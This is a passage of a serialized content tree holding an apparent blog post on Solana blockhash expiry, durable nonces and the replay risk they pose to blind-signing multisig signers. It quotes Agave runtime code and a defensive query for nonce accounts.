,{"type":23,"tag":504,"props":69923,"children":69924},{"style":5047},[69925],{"type":29,"value":6533},{"type":23,"tag":504,"props":69927,"children":69928},{"style":5467},[69929],{"type":29,"value":7905},{"type":23,"tag":504,"props":69931,"children":69932},{"style":5058},[69933],{"type":29,"value":5128},{"type":23,"tag":504,"props":69935,"children":69936},{"style":5047},[69937],{"type":29,"value":15803},{"type":23,"tag":504,"props":69939,"children":69940},{"style":5467},[69941],{"type":29,"value":14096},{"type":23,"tag":504,"props":69943,"children":69944},{"style":5058},[69945],{"type":29,"value":5333},{"type":23,"tag":504,"props":69947,"children":69948},{"class":5016,"line":4868},[69949,69954,69958,69963,69967,69972,69976],{"type":23,"tag":504,"props":69950,"children":69951},{"style":5041},[69952],{"type":29,"value":69953},"    last_hash_index",{"type":23,"tag":504,"props":69955,"children":69956},{"style":5047},[69957],{"type":29,"value":53317},{"type":23,"tag":504,"props":69959,"children":69960},{"style":5041},[69961],{"type":29,"value":69962}," hash_index",{"type":23,"tag":504,"props":69964,"children":69965},{"style":5047},[69966],{"type":29,"value":10242},{"type":23,"tag":504,"props":69968,"children":69969},{"style":5041},[69970],{"type":29,"value":69971}," max_age",{"type":23,"tag":504,"props":69973,"children":69974},{"style":5030},[69975],{"type":29,"value":10873},{"type":23,"tag":504,"props":69977,"children":69978},{"style":5467},[69979],{"type":29,"value":15243},{"type":23,"tag":504,"props":69981,"children":69982},{"class":5016,"line":4876},[69983],{"type":23,"tag":504,"props":69984,"children":69985},{"style":5058},[69986],{"type":29,"value":5965},{"type":23,"tag":32,"props":69988,"children":69989},{},[69990],{"type":29,"value":69991},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":446,"props":69993,"children":69994},{},[69995],{"type":23,"tag":32,"props":69996,"children":69997},{},[69998,70000],{"type":29,"value":69999},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":38,"props":70001,"children":70002},{},[70003],{"type":29,"value":70004},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":32,"props":70006,"children":70007},{},[70008,70010,70015],{"type":29,"value":70009},"This means an attacker ",{"type":23,"tag":4321,"props":70011,"children":70012},{},[70013],{"type":29,"value":70014},"must use",{"type":29,"value":70016}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":320,"props":70018,"children":70020},{"id":70019},"durable-nonce",[70021],{"type":29,"value":70022},"Durable Nonce",{"type":23,"tag":32,"props":70024,"children":70025},{},[70026,70028,70035],{"type":29,"value":70027},"The second type of signature ",{"type":23,"tag":68,"props":70029,"children":70032},{"href":70030,"rel":70031},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[72],[70033],{"type":29,"value":70034},"is a durable nonce",{"type":29,"value":70036},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":446,"props":70038,"children":70039},{},[70040],{"type":23,"tag":32,"props":70041,"children":70042},{},[70043,70045],{"type":29,"value":70044},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":38,"props":70046,"children":70047},{},[70048],{"type":29,"value":70049},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":32,"props":70051,"children":70052},{},[70053,70055,70062],{"type":29,"value":70054},"If we examine the code ",{"type":23,"tag":68,"props":70056,"children":70059},{"href":70057,"rel":70058},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[72],[70060],{"type":29,"value":70061},"for recent blockhash validation",{"type":29,"value":70063},", we can also see the handling for durable nonces.",{"type":23,"tag":4743,"props":70065,"children":70067},{"className":5009,"code":70066,"language":5008,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[70068],{"type":23,"tag":154,"props":70069,"children":70070},{"__ignoreMap":7},[70071,70118,70184,70204,70224,70254,70262,70316,70333,70353,70365,70377,70385,70392,70411,70438,70458,70465,70480,70510,70539],{"type":23,"tag":504,"props":70072,"children":70073},{"class":5016,"line":5017},[70074,70078,70083,70087,70092,70096,70101,70105,70109,70114],{"type":23,"tag":504,"props":70075,"children":70076},{"style":5030},[70077],{"type":29,"value":5033},{"type":23,"tag":504,"props":70079,"children":70080},{"style":5041},[70081],{"type":29,"value":70082}," recent_blockhash",{"type":23,"tag":504,"props":70084,"children":70085},{"style":5047},[70086],{"type":29,"value":5050},{"type":23,"tag":504,"props":70088,"children":70089},{"style":5041},[70090],{"type":29,"value":70091}," tx",{"type":23,"tag":504,"props":70093,"children":70094},{"style":5047},[70095],{"type":29,"value":357},{"type":23,"tag":504,"props":70097,"children":70098},{"style":5139},[70099],{"type":29,"value":70100},"message",{"type":23,"tag":504,"props":70102,"children":70103},{"style":5058},[70104],{"type":29,"value":15925},{"type":23,"tag":504,"props":70106,"children":70107},{"style":5047},[70108],{"type":29,"value":357},{"type":23,"tag":504,"props":70110,"children":70111},{"style":5139},[70112],{"type":29,"value":70113},"recent_blockhash",{"type":23,"tag":504,"props":70115,"children":70116},{"style":5058},[70117],{"type":29,"value":5725},{"type":23,"tag":504,"props":70119,"children":70120},{"class":5016,"line":4868},[70121,70125,70129,70133,70137,70142,70146,70150,70155,70159,70164,70168,70172,70176,70180],{"type":23,"tag":504,"props":70122,"children":70123},{"style":5067},[70124],{"type":29,"value":14325},{"type":23,"tag":504,"props":70126,"children":70127},{"style":5030},[70128],{"type":29,"value":29358},{"type":23,"tag":504,"props":70130,"children":70131},{"style":5467},[70132],{"type":29,"value":29363},{"type":23,"tag":504,"props":70134,"children":70135},{"style":5058},[70136],{"type":29,"value":603},{"type":23,"tag":504,"props":70138,"children":70139},{"style":5041},[70140],{"type":29,"value":70141},"hash_info",{"type":23,"tag":504,"props":70143,"children":70144},{"style":5058},[70145],{"type":29,"value":5128},{"type":23,"tag":504,"props":70147,"children":70148},{"style":5047},[70149],{"type":29,"value":546},{"type":23,"tag":504,"props":70151,"children":70152},{"style":5041},[70153],{"type":29,"value":70154}," hash_queue",{"type":23,"tag":504,"props":70156,"children":70157},{"style":5047},[70158],{"type":29,"value":357},{"type":23,"tag":504,"props":70160,"children":70161},{"style":5139},[70162],{"type":29,"value":70163},"get_hash_info_if_valid",{"type":23,"tag":504,"props":70165,"children":70166},{"style":5058},[70167],{"type":29,"value":603},{"type":23,"tag":504,"props":70169,"children":70170},{"style":5041},[70171],{"type":29,"value":70113},{"type":23,"tag":504,"props":70173,"children":70174},{"style":5058},[70175],{"type":29,"value":4367},{"type":23,"tag":504,"props":70177,"children":70178},{"style":5041},[70179],{"type":29,"value":69904},{"type":23,"tag":504,"props":70181,"children":70182},{"style":5058},[70183],{"type":29,"value":16850},{"type":23,"tag":504,"props":70185,"children":70186},{"class":5016,"line":4876},[70187,70191,70195,70200],{"type":23,"tag":504,"props":70188,"children":70189},{"style":5467},[70190],{"type":29,"value":16858},{"type":23,"tag":504,"props":70192,"children":70193},{"style":5058},[70194],{"type":29,"value":603},{"type":23,"tag":504,"props":70196,"children":70197},{"style":5467},[70198],{"type":29,"value":70199},"CheckedTransactionDetails",{"type":23,"tag":504,"props":70201,"children":70202},{"style":5058},[70203],{"type":29,"value":5333},{"type":23,"tag":504,"props":70205,"children":70206},{"class":5016,"line":5099},[70207,70212,70216,70220],{"type":23,"tag":504,"props":70208,"children":70209},{"style":5041},[70210],{"type":29,"value":70211},"            nonce",{"type":23,"tag":504,"props":70213,"children":70214},{"style":5047},[70215],{"type":29,"value":6533},{"type":23,"tag":504,"props":70217,"children":70218},{"style":5467},[70219],{"type":29,"value":29811},{"type":23,"tag":504,"props":70221,"children":70222},{"style":5058},[70223],{"type":29,"value":5557},{"type":23,"tag":504,"props":70225,"children":70226},{"class":5016,"line":5203},[70227,70232,70236,70241,70245,70250],{"type":23,"tag":504,"props":70228,"children":70229},{"style":5041},[70230],{"type":29,"value":70231},"            lamports_per_signature",{"type":23,"tag":504,"props":70233,"children":70234},{"style":5047},[70235],{"type":29,"value":6533},{"type":23,"tag":504,"props":70237,"children":70238},{"style":5041},[70239],{"type":29,"value":70240}," hash_info",{"type":23,"tag":504,"props":70242,"children":70243},{"style":5047},[70244],{"type":29,"value":357},{"type":23,"tag":504,"props":70246,"children":70247},{"style":5139},[70248],{"type":29,"value":70249},"lamports_per_signature",{"type":23,"tag":504,"props":70251,"children":70252},{"style":5058},[70253],{"type":29,"value":5540},{"type":23,"tag":504,"props":70255,"children":70256},{"class":5016,"line":5308},[70257],{"type":23,"tag":504,"props":70258,"children":70259},{"style":5058},[70260],{"type":29,"value":70261},"        })\n",{"type":23,"tag":504,"props":70263,"children":70264},{"class":5016,"line":5336},[70265,70269,70273,70277,70281,70285,70289,70294,70298,70303,70307,70311],{"type":23,"tag":504,"props":70266,"children":70267},{"style":5058},[70268],{"type":29,"value":17826},{"type":23,"tag":504,"props":70270,"children":70271},{"style":5067},[70272],{"type":29,"value":5360},{"type":23,"tag":504,"props":70274,"children":70275},{"style":5067},[70276],{"type":29,"value":17835},{"type":23,"tag":504,"props":70278,"children":70279},{"style":5030},[70280],{"type":29,"value":29358},{"type":23,"tag":504,"props":70282,"children":70283},{"style":5467},[70284],{"type":29,"value":29363},{"type":23,"tag":504,"props":70286,"children":70287},{"style":5058},[70288],{"type":29,"value":33578},{"type":23,"tag":504,"props":70290,"children":70291},{"style":5041},[70292],{"type":29,"value":70293},"nonce",{"type":23,"tag":504,"props":70295,"children":70296},{"style":5058},[70297],{"type":29,"value":4367},{"type":23,"tag":504,"props":70299,"children":70300},{"style":5041},[70301],{"type":29,"value":70302},"previous_lamports_per_signature",{"type":23,"tag":504,"props":70304,"children":70305},{"style":5058},[70306],{"type":29,"value":10882},{"type":23,"tag":504,"props":70308,"children":70309},{"style":5047},[70310],{"type":29,"value":546},{"type":23,"tag":504,"props":70312,"children":70313},{"style":5030},[70314],{"type":29,"value":70315}," self\n",{"type":23,"tag":504,"props":70317,"children":70318},{"class":5016,"line":5349},[70319,70324,70329],{"type":23,"tag":504,"props":70320,"children":70321},{"style":5047},[70322],{"type":29,"value":70323},"        .",{"type":23,"tag":504,"props":70325,"children":70326},{"style":5139},[70327],{"type":29,"value":70328},"check_load_and_advance_message_nonce_account",{"type":23,"tag":504,"props":70330,"children":70331},{"style":5058},[70332],{"type":29,"value":5512},{"type":23,"tag":504,"props":70334,"children":70335},{"class":5016,"line":5367},[70336,70341,70345,70349],{"type":23,"tag":504,"props":70337,"children":70338},{"style":5041},[70339],{"type":29,"value":70340},"            tx",{"type":23,"tag":504,"props":70342,"children":70343},{"style":5047},[70344],{"type":29,"value":357},{"type":23,"tag":504,"props":70346,"children":70347},{"style":5139},[70348],{"type":29,"value":70100},{"type":23,"tag":504,"props":70350,"children":70351},{"style":5058},[70352],{"type":29,"value":5540},{"type":23,"tag":504,"props":70354,"children":70355},{"class":5016,"line":5388},[70356,70361],{"type":23,"tag":504,"props":70357,"children":70358},{"style":5041},[70359],{"type":29,"value":70360},"            next_durable_nonce",{"type":23,"tag":504,"props":70362,"children":70363},{"style":5058},[70364],{"type":29,"value":5557},{"type":23,"tag":504,"props":70366,"children":70367},{"class":5016,"line":5397},[70368,70373],{"type":23,"tag":504,"props":70369,"children":70370},{"style":5041},[70371],{"type":29,"value":70372},"            next_lamports_per_signature",{"type":23,"tag":504,"props":70374,"children":70375},{"style":5058},[70376],{"type":29,"value":5557},{"type":23,"tag":504,"props":70378,"children":70379},{"class":5016,"line":5649},[70380],{"type":23,"tag":504,"props":70381,"children":70382},{"style":5058},[70383],{"type":29,"value":70384},"        )\n",{"type":23,"tag":504,"props":70386,"children":70387},{"class":5016,"line":5666},[70388],{"type":23,"tag":504,"props":70389,"children":70390},{"style":5058},[70391],{"type":29,"value":31241},{"type":23,"tag":504,"props":70393,"children":70394},{"class":5016,"line":5683},[70395,70399,70403,70407],{"type":23,"tag":504,"props":70396,"children":70397},{"style":5467},[70398],{"type":29,"value":16858},{"type":23,"tag":504,"props":70400,"children":70401},{"style":5058},[70402],{"type":29,"value":603},{"type":23,"tag":504,"props":70404,"children":70405},{"style":5467},[70406],{"type":29,"value":70199},{"type":23,"tag":504,"props":70408,"children":70409},{"style":5058},[70410],{"type":29,"value":5333},{"type":23,"tag":504,"props":70412,"children":70413},{"class":5016,"line":5696},[70414,70418,70422,70426,70430,70434],{"type":23,"tag":504,"props":70415,"children":70416},{"style":5041},[70417],{"type":29,"value":70211},{"type":23,"tag":504,"props":70419,"children":70420},{"style":5047},[70421],{"type":29,"value":6533},{"type":23,"tag":504,"props":70423,"children":70424},{"style":5467},[70425],{"type":29,"value":29363},{"type":23,"tag":504,"props":70427,"children":70428},{"style":5058},[70429],{"type":29,"value":603},{"type":23,"tag":504,"props":70431,"children":70432},{"style":5041},[70433],{"type":29,"value":70293},{"type":23,"tag":504,"props":70435,"children":70436},{"style":5058},[70437],{"type":29,"value":8780},{"type":23,"tag":504,"props":70439,"children":70440},{"class":5016,"line":5705},[70441,70445,70449,70454],{"type":23,"tag":504,"props":70442,"children":70443},{"style":5041},[70444],{"type":29,"value":70231},{"type":23,"tag":504,"props":70446,"children":70447},{"style":5047},[70448],{"type":29,"value":6533},{"type":23,"tag":504,"props":70450,"children":70451},{"style":5041},[70452],{"type":29,"value":70453}," previous_lamports_per_signature",{"type":23,"tag":504,"props":70455,"children":70456},{"style":5058},[70457],{"type":29,"value":5557},{"type":23,"tag":504,"props":70459,"children":70460},{"class":5016,"line":5728},[70461],{"type":23,"tag":504,"props":70462,"children":70463},{"style":5058},[70464],{"type":29,"value":70261},{"type":23,"tag":504,"props":70466,"children":70467},{"class":5016,"line":5737},[70468,70472,70476],{"type":23,"tag":504,"props":70469,"children":70470},{"style":5058},[70471],{"type":29,"value":17826},{"type":23,"tag":504,"props":70473,"children":70474},{"style":5067},[70475],{"type":29,"value":5360},{"type":23,"tag":504,"props":70477,"children":70478},{"style":5058},[70479],{"type":29,"value":5333},{"type":23,"tag":504,"props":70481,"children":70482},{"class":5016,"line":5746},[70483,70488,70492,70497,70502,70506],{"type":23,"tag":504,"props":70484,"children":70485},{"style":5041},[70486],{"type":29,"value":70487},"        error_counters",{"type":23,"tag":504,"props":70489,"children":70490},{"style":5047},[70491],{"type":29,"value":357},{"type":23,"tag":504,"props":70493,"children":70494},{"style":5058},[70495],{"type":29,"value":70496},"blockhash_not_found ",{"type":23,"tag":504,"props":70498,"children":70499},{"style":5047},[70500],{"type":29,"value":70501},"+=",{"type":23,"tag":504,"props":70503,"children":70504},{"style":5083},[70505],{"type":29,"value":6565},{"type":23,"tag":504,"props":70507,"children":70508},{"style":5058},[70509],{"type":29,"value":5061},{"type":23,"tag":504,"props":70511,"children":70512},{"class":5016,"line":5813},[70513,70517,70521,70526,70530,70535],{"type":23,"tag":504,"props":70514,"children":70515},{"style":5467},[70516],{"type":29,"value":16901},{"type":23,"tag":504,"props":70518,"children":70519},{"style":5058},[70520],{"type":29,"value":603},{"type":23,"tag":504,"props":70522,"children":70523},{"style":5467},[70524],{"type":29,"value":70525},"TransactionError",{"type":23,"tag":504,"props":70527,"children":70528},{"style":5047},[70529],{"type":29,"value":5530},{"type":23,"tag":504,"props":70531,"children":70532},{"style":5467},[70533],{"type":29,"value":70534},"BlockhashNotFound",{"type":23,"tag":504,"props":70536,"children":70537},{"style":5058},[70538],{"type":29,"value":5200},{"type":23,"tag":504,"props":70540,"children":70541},{"class":5016,"line":5821},[70542],{"type":23,"tag":504,"props":70543,"children":70544},{"style":5058},[70545],{"type":29,"value":5403},{"type":23,"tag":32,"props":70547,"children":70548},{},[70549],{"type":29,"value":70550},"The documentation does a good job of explaining how they work.",{"type":23,"tag":446,"props":70552,"children":70553},{},[70554],{"type":23,"tag":32,"props":70555,"children":70556},{},[70557],{"type":29,"value":70558},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":32,"props":70560,"children":70561},{},[70562,70564,70571],{"type":29,"value":70563},"Durable nonces are created and managed ",{"type":23,"tag":68,"props":70565,"children":70568},{"href":70566,"rel":70567},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[72],[70569],{"type":29,"value":70570},"by the system program",{"type":29,"value":70572},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":32,"props":70574,"children":70575},{},[70576,70578,70585],{"type":29,"value":70577},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":68,"props":70579,"children":70582},{"href":70580,"rel":70581},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[72],[70583],{"type":29,"value":70584},"based on the current blockhash",{"type":29,"value":70586},", and cannot be predicted in advance.",{"type":23,"tag":4743,"props":70588,"children":70590},{"className":5009,"code":70589,"language":5008,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[70591],{"type":23,"tag":154,"props":70592,"children":70593},{"__ignoreMap":7},[70594,70646,70679],{"type":23,"tag":504,"props":70595,"children":70596},{"class":5016,"line":5017},[70597,70601,70605,70609,70613,70617,70622,70626,70630,70634,70638,70642],{"type":23,"tag":504,"props":70598,"children":70599},{"style":5030},[70600],{"type":29,"value":5033},{"type":23,"tag":504,"props":70602,"children":70603},{"style":5041},[70604],{"type":29,"value":70154},{"type":23,"tag":504,"props":70606,"children":70607},{"style":5047},[70608],{"type":29,"value":5050},{"type":23,"tag":504,"props":70610,"children":70611},{"style":5030},[70612],{"type":29,"value":15843},{"type":23,"tag":504,"props":70614,"children":70615},{"style":5047},[70616],{"type":29,"value":357},{"type":23,"tag":504,"props":70618,"children":70619},{"style":5058},[70620],{"type":29,"value":70621},"blockhash_queue",{"type":23,"tag":504,"props":70623,"children":70624},{"style":5047},[70625],{"type":29,"value":357},{"type":23,"tag":504,"props":70627,"children":70628},{"style":5139},[70629],{"type":29,"value":62702},{"type":23,"tag":504,"props":70631,"children":70632},{"style":5058},[70633],{"type":29,"value":15925},{"type":23,"tag":504,"props":70635,"children":70636},{"style":5047},[70637],{"type":29,"value":357},{"type":23,"tag":504,"props":70639,"children":70640},{"style":5139},[70641],{"type":29,"value":5720},{"type":23,"tag":504,"props":70643,"children":70644},{"style":5058},[70645],{"type":29,"value":5725},{"type":23,"tag":504,"props":70647,"children":70648},{"class":5016,"line":4868},[70649,70653,70658,70662,70666,70670,70675],{"type":23,"tag":504,"props":70650,"children":70651},{"style":5030},[70652],{"type":29,"value":5033},{"type":23,"tag":504,"props":70654,"children":70655},{"style":5041},[70656],{"type":29,"value":70657}," last_blockhash",{"type":23,"tag":504,"props":70659,"children":70660},{"style":5047},[70661],{"type":29,"value":5050},{"type":23,"tag":504,"props":70663,"children":70664},{"style":5041},[70665],{"type":29,"value":70154},{"type":23,"tag":504,"props":70667,"children":70668},{"style":5047},[70669],{"type":29,"value":357},{"type":23,"tag":504,"props":70671,"children":70672},{"style":5139},[70673],{"type":29,"value":70674},"last_hash",{"type":23,"tag":504,"props":70676,"children":70677},{"style":5058},[70678],{"type":29,"value":5725},{"type":23,"tag":504,"props":70680,"children":70681},{"class":5016,"line":4876},[70682,70686,70691,70695,70700,70704,70709,70713,70717,70722],{"type":23,"tag":504,"props":70683,"children":70684},{"style":5030},[70685],{"type":29,"value":5033},{"type":23,"tag":504,"props":70687,"children":70688},{"style":5041},[70689],{"type":29,"value":70690}," next_durable_nonce",{"type":23,"tag":504,"props":70692,"children":70693},{"style":5047},[70694],{"type":29,"value":5050},{"type":23,"tag":504,"props":70696,"children":70697},{"style":5467},[70698],{"type":29,"value":70699}," DurableNonce",{"type":23,"tag":504,"props":70701,"children":70702},{"style":5047},[70703],{"type":29,"value":5530},{"type":23,"tag":504,"props":70705,"children":70706},{"style":5139},[70707],{"type":29,"value":70708},"from_blockhash",{"type":23,"tag":504,"props":70710,"children":70711},{"style":5058},[70712],{"type":29,"value":603},{"type":23,"tag":504,"props":70714,"children":70715},{"style":5047},[70716],{"type":29,"value":5151},{"type":23,"tag":504,"props":70718,"children":70719},{"style":5041},[70720],{"type":29,"value":70721},"last_blockhash",{"type":23,"tag":504,"props":70723,"children":70724},{"style":5058},[70725],{"type":29,"value":5888},{"type":23,"tag":32,"props":70727,"children":70728},{},[70729,70731,70736],{"type":29,"value":70730},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":4321,"props":70732,"children":70733},{},[70734],{"type":29,"value":70735},"can",{"type":29,"value":70737}," be saved and reused.",{"type":23,"tag":24,"props":70739,"children":70741},{"id":70740},"threat-model",[70742],{"type":29,"value":70743},"Threat Model",{"type":23,"tag":32,"props":70745,"children":70746},{},[70747],{"type":29,"value":70748},"Let's consider a simplified form of the original question.",{"type":23,"tag":139,"props":70750,"children":70751},{},[70752,70757,70762],{"type":23,"tag":143,"props":70753,"children":70754},{},[70755],{"type":29,"value":70756},"We have a N/M multisig",{"type":23,"tag":143,"props":70758,"children":70759},{},[70760],{"type":29,"value":70761},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":143,"props":70763,"children":70764},{},[70765],{"type":29,"value":70766},"We can accurately query chain state.",{"type":23,"tag":32,"props":70768,"children":70769},{},[70770],{"type":29,"value":70771},"Can we safely sign transactions?",{"type":23,"tag":32,"props":70773,"children":70774},{},[70775],{"type":29,"value":70776},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":32,"props":70778,"children":70779},{},[70780,70782,70788,70790,70797],{"type":29,"value":70781},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":154,"props":70783,"children":70785},{"className":70784},[],[70786],{"type":29,"value":70787},"getProgramAccounts",{"type":29,"value":70789}," call to validate if your signer ",{"type":23,"tag":68,"props":70791,"children":70794},{"href":70792,"rel":70793},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[72],[70795],{"type":29,"value":70796},"has an associated durable nonce",{"type":29,"value":357},{"type":23,"tag":4743,"props":70799,"children":70801},{"className":37987,"code":70800,"language":37989,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[70802],{"type":23,"tag":154,"props":70803,"children":70804},{"__ignoreMap":7},[70805,70852,70888,70896,70908,70916,70928,70936,70944,70961,70968,70975,70983,70991,71003,71029,71046,71053,71060,71068,71075],{"type":23,"tag":504,"props":70806,"children":70807},{"class":5016,"line":5017},[70808,70812,70817,70821,70825,70830,70834,70839,70843,70848],{"type":23,"tag":504,"props":70809,"children":70810},{"style":5030},[70811],{"type":29,"value":11701},{"type":23,"tag":504,"props":70813,"children":70814},{"style":5041},[70815],{"type":29,"value":70816}," connection",{"type":23,"tag":504,"props":70818,"children":70819},{"style":5047},[70820],{"type":29,"value":5050},{"type":23,"tag":504,"props":70822,"children":70823},{"style":5030},[70824],{"type":29,"value":33988},{"type":23,"tag":504,"props":70826,"children":70827},{"style":5139},[70828],{"type":29,"value":70829}," Connection",{"type":23,"tag":504,"props":70831,"children":70832},{"style":5058},[70833],{"type":29,"value":603},{"type":23,"tag":504,"props":70835,"children":70836},{"style":5139},[70837],{"type":29,"value":70838},"clusterApiUrl",{"type":23,"tag":504,"props":70840,"children":70841},{"style":5058},[70842],{"type":29,"value":603},{"type":23,"tag":504,"props":70844,"children":70845},{"style":6297},[70846],{"type":29,"value":70847},"'testnet'",{"type":23,"tag":504,"props":70849,"children":70850},{"style":5058},[70851],{"type":29,"value":9267},{"type":23,"tag":504,"props":70853,"children":70854},{"class":5016,"line":4868},[70855,70859,70864,70868,70872,70876,70880,70884],{"type":23,"tag":504,"props":70856,"children":70857},{"style":5030},[70858],{"type":29,"value":11701},{"type":23,"tag":504,"props":70860,"children":70861},{"style":5041},[70862],{"type":29,"value":70863}," nonceAccounts",{"type":23,"tag":504,"props":70865,"children":70866},{"style":5047},[70867],{"type":29,"value":5050},{"type":23,"tag":504,"props":70869,"children":70870},{"style":5067},[70871],{"type":29,"value":38268},{"type":23,"tag":504,"props":70873,"children":70874},{"style":5041},[70875],{"type":29,"value":70816},{"type":23,"tag":504,"props":70877,"children":70878},{"style":5058},[70879],{"type":29,"value":357},{"type":23,"tag":504,"props":70881,"children":70882},{"style":5139},[70883],{"type":29,"value":70787},{"type":23,"tag":504,"props":70885,"children":70886},{"style":5058},[70887],{"type":29,"value":5512},{"type":23,"tag":504,"props":70889,"children":70890},{"class":5016,"line":4876},[70891],{"type":23,"tag":504,"props":70892,"children":70893},{"style":5021},[70894],{"type":29,"value":70895},"  // The system program owns all nonce accounts.\n",{"type":23,"tag":504,"props":70897,"children":70898},{"class":5016,"line":5099},[70899,70904],{"type":23,"tag":504,"props":70900,"children":70901},{"style":5041},[70902],{"type":29,"value":70903},"  SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":504,"props":70905,"children":70906},{"style":5058},[70907],{"type":29,"value":5557},{"type":23,"tag":504,"props":70909,"children":70910},{"class":5016,"line":5203},[70911],{"type":23,"tag":504,"props":70912,"children":70913},{"style":5058},[70914],{"type":29,"value":70915},"  {\n",{"type":23,"tag":504,"props":70917,"children":70918},{"class":5016,"line":5308},[70919,70924],{"type":23,"tag":504,"props":70920,"children":70921},{"style":5041},[70922],{"type":29,"value":70923},"    filters:",{"type":23,"tag":504,"props":70925,"children":70926},{"style":5058},[70927],{"type":29,"value":27674},{"type":23,"tag":504,"props":70929,"children":70930},{"class":5016,"line":5336},[70931],{"type":23,"tag":504,"props":70932,"children":70933},{"style":5058},[70934],{"type":29,"value":70935},"      {\n",{"type":23,"tag":504,"props":70937,"children":70938},{"class":5016,"line":5349},[70939],{"type":23,"tag":504,"props":70940,"children":70941},{"style":5021},[70942],{"type":29,"value":70943},"        // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":504,"props":70945,"children":70946},{"class":5016,"line":5367},[70947,70952,70957],{"type":23,"tag":504,"props":70948,"children":70949},{"style":5041},[70950],{"type":29,"value":70951},"        dataSize:",{"type":23,"tag":504,"props":70953,"children":70954},{"style":5083},[70955],{"type":29,"value":70956}," 80",{"type":23,"tag":504,"props":70958,"children":70959},{"style":5058},[70960],{"type":29,"value":5557},{"type":23,"tag":504,"props":70962,"children":70963},{"class":5016,"line":5388},[70964],{"type":23,"tag":504,"props":70965,"children":70966},{"style":5058},[70967],{"type":29,"value":39256},{"type":23,"tag":504,"props":70969,"children":70970},{"class":5016,"line":5397},[70971],{"type":23,"tag":504,"props":70972,"children":70973},{"style":5058},[70974],{"type":29,"value":70935},{"type":23,"tag":504,"props":70976,"children":70977},{"class":5016,"line":5649},[70978],{"type":23,"tag":504,"props":70979,"children":70980},{"style":5021},[70981],{"type":29,"value":70982},"        // The authority's 32-byte public key is written\n",{"type":23,"tag":504,"props":70984,"children":70985},{"class":5016,"line":5666},[70986],{"type":23,"tag":504,"props":70987,"children":70988},{"style":5021},[70989],{"type":29,"value":70990},"        // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":504,"props":70992,"children":70993},{"class":5016,"line":5683},[70994,70999],{"type":23,"tag":504,"props":70995,"children":70996},{"style":5041},[70997],{"type":29,"value":70998},"        memcmp:",{"type":23,"tag":504,"props":71000,"children":71001},{"style":5058},[71002],{"type":29,"value":5333},{"type":23,"tag":504,"props":71004,"children":71005},{"class":5016,"line":5696},[71006,71011,71016,71020,71025],{"type":23,"tag":504,"props":71007,"children":71008},{"style":5041},[71009],{"type":29,"value":71010},"          bytes:",{"type":23,"tag":504,"props":71012,"children":71013},{"style":5041},[71014],{"type":29,"value":71015}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":504,"props":71017,"children":71018},{"style":5058},[71019],{"type":29,"value":357},{"type":23,"tag":504,"props":71021,"children":71022},{"style":5139},[71023],{"type":29,"value":71024},"toBase58",{"type":23,"tag":504,"props":71026,"children":71027},{"style":5058},[71028],{"type":29,"value":5540},{"type":23,"tag":504,"props":71030,"children":71031},{"class":5016,"line":5705},[71032,71037,71042],{"type":23,"tag":504,"props":71033,"children":71034},{"style":5041},[71035],{"type":29,"value":71036},"          offset:",{"type":23,"tag":504,"props":71038,"children":71039},{"style":5083},[71040],{"type":29,"value":71041}," 